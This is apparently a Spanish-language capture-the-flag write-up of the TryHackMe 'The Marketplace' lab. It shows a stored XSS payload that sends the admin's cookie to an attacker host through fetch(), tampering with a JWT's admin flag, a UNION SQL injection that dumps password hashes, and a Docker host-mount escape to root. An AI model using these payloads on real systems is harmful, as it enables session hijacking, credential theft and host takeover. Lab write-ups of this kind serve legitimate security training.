TryHackMe
Hard
Linux
XSS
SQLi
JWT
Docker
The Marketplace
XSS almacenado para robar cookie de admin, SQLi en panel de administración con JWT manipulado, y escalada via Docker.
Jun 2023
~90 min
cat4clysm
Herramientas utilizadas
nmap
burp suite
sqlmap
jwt.io
docker
Reconocimiento
root@kali:~$
nmap -sC -sV -p 22,80 10.10.231.93
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http nginx 1.19.2 - The Marketplace
El sitio es un marketplace donde usuarios pueden publicar productos. El campo de descripción no sanitiza HTML.
XSS Almacenado → Cookie Hijacking
Creamos un producto con XSS en la descripción para robar la cookie del admin:
<script>
fetch('http://LHOST:8000/?c='+document.cookie)
</script>
Reportamos el producto al admin y esperamos la cookie:
python3 -m http.server 8000
# Recibimos:
GET /?c=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Decodificamos el JWT en jwt.io — cambiamos "admin": false a "admin": true y accedemos al panel.
SQL Injection en panel admin
El panel admin tiene el parámetro ?user= vulnerable a SQLi:
root@kali:~$
GET /admin?user=1' HTTP/1.1
Cookie: token=<JWT_MANIPULADO>
# Error SQL visible — extraemos usuarios y contraseñas
GET /admin?user=0 UNION SELECT 1,username,password,4 FROM users--
system:$6$hash...
jake:$6$hash...
Crackeamos el hash de jake y nos conectamos por SSH.
Escalada — Docker
El usuario michael puede ejecutar un script como root que copia archivos dentro de un contenedor Docker. Lo abusamos para leer la clave SSH de root:
sudo /opt/backup.sh
# Modificamos el script para copiar /root/.ssh/id_rsa
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
whoami
root
Lecciones aprendidas
- XSS almacenado en zonas que admin visualiza es crítico — siempre buscar funciones de "reportar" o "revisar".
- Los JWT sin firma fuerte pueden ser manipulados para escalar privilegios en la aplicación.
- Combinar XSS + SQLi + Docker breakout es una cadena de ataque completa muy común en CTFs Hard.